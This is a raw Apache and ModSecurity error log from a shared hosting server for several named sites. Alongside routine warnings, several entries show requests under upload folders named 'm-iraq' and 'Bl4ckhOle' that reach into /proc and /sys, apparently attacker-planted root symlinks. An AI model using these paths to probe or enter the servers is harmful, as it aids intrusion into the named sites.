[Fri Jul 17 07:55:57.692740 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almStY1dLClkUfK_dfHauQAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:55:58.023852 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.122015 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.166847 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:50076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:58.256612 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:50088] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:55:58.385082 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.448526 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.629588 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.755426 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.846795 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:58.944093 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:55:59.219068 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:01.602522 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:01.774451 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:51086] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:02.012578 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:51100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:03.184088 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 47.82.54.193:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:55/subsystem/ttyS1/device/subsystem/uevent
[Fri Jul 17 07:56:03.569828 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:51172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:03.914198 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:03.926524 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:51188] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:04.117163 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:51208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:05.456949 2026] [security2:error] [pid 1994956:tid 1994956] [client 20.46.252.52:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almSvQG5-NXx3Mem1QgIJAAAAA8"]
[Fri Jul 17 07:56:05.457012 2026] [security2:error] [pid 1994956:tid 1994956] [client 20.46.252.52:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "stanthonys.biz"] [uri "/index.php"] [unique_id "almSvQG5-NXx3Mem1QgIJAAAAA8"]
[Fri Jul 17 07:56:05.748193 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:51232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:05.847543 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:06.044200 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:06.643313 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSvpOFLENLI63GGOEEQAAAAAQ"], referer: http://www.anandaobauae.org/?78.140.153.147uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:56:06.643353 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSvpOFLENLI63GGOEEQAAAAAQ"], referer: http://www.anandaobauae.org/?78.140.153.147uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:56:07.754014 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:07.785754 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:08.241066 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:51254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:08.663956 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 57.141.18.3:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory20/node0/memory54/subsystem/uevent
[Fri Jul 17 07:56:09.649750 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:10.002919 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:11.378098 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:14.026238 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSxnRlmrtCoY_COpcb_wAAAAg"], referer: http://www.anandaobauae.org/?78.140.153.147uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:56:14.026279 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSxnRlmrtCoY_COpcb_wAAAAg"], referer: http://www.anandaobauae.org/?78.140.153.147uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:56:15.119594 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:15.952587 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:16.069846 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.101728 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.254864 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/bind
[Fri Jul 17 07:56:17.274507 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.274587 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.274620 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.274682 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.274712 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.274734 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.274758 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.365732 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.456229 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.651479 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:17.753314 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:18.217821 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:18.411938 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:18.495022 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:18.495858 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/opt/cloudlinux/alt-php74/"] [unique_id "almSyo1dLClkUfK_dfHaxQAAAAI"]
[Fri Jul 17 07:56:18.495886 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/cagefs-skeleton/opt/cloudlinux/alt-php74/"] [unique_id "almSyo1dLClkUfK_dfHaxQAAAAI"]
[Fri Jul 17 07:56:18.594931 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:18.964510 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:19.239320 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.249629 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/kmalloc-32/alloc_calls
[Fri Jul 17 07:56:20.340989 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/crash_notes
[Fri Jul 17 07:56:20.430008 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.430107 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.430133 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.430185 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.430210 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.430233 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.430255 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.521155 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:20.613611 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:21.085931 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:21.179482 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:21.269223 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:21.364629 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:21.823660 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:21.914806 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.006356 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.098297 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.289288 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.381207 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.568554 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.664586 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.856010 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:22.948528 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.039276 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.131306 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225698 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225777 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225803 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225860 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225916 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225956 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.225996 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882427 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882499 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882524 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882570 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882590 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882607 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:23.882625 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:24.247352 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:24.702390 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:24.886765 2026] [ssl:error] [pid 1993570:tid 1993570] (5)Input/output error: [client 66.85.158.91:38532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:24.911466 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:38534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:24.976862 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:25.629240 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:25.718144 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:26.077090 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:26.731285 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:27.082678 2026] [security2:error] [pid 1993675:tid 1993675] [client 100.30.204.15:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "ksoft.web.lk"] [uri "/"] [unique_id "almS0ziSeFVxYLkcq6IXMwAAAAc"]
[Fri Jul 17 07:56:27.083017 2026] [security2:error] [pid 1993675:tid 1993675] [client 100.30.204.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/"] [unique_id "almS0ziSeFVxYLkcq6IXMwAAAAc"]
[Fri Jul 17 07:56:27.086011 2026] [security2:error] [pid 1993675:tid 1993675] [client 100.30.204.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/index.php"] [unique_id "almS0ziSeFVxYLkcq6IXMwAAAAc"]
[Fri Jul 17 07:56:29.263365 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:29.951434 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 47.82.55.125:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:02.0/remove
[Fri Jul 17 07:56:31.705676 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:31.830475 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almS15OFLENLI63GGOEETwAAAAQ"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:56:31.830502 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almS15OFLENLI63GGOEETwAAAAQ"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:56:31.972022 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:32.099040 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:46528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:33.563561 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:33.626219 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:33.835413 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:35.323651 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:35.343670 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:36.311989 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:38.595812 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:46788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:38.758358 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:46794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:41.007809 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 57.141.18.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory68/node0/memory77/node0/memory127/node0/cpu0/crash_notes_size
[Fri Jul 17 07:56:43.535979 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:50476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:56:44.324942 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:45.298348 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:45.390215 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:45.755365 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:46.604063 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:47.087115 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:47.427973 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:47.961429 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:48.689342 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:49.144517 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:49.146209 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:49.271351 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:49.384339 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:51.087321 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:56:53.219846 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_37_no_02_english.pdf"] [unique_id "almS7Yha5y5fYnQ1qRrpZAAAAAE"]
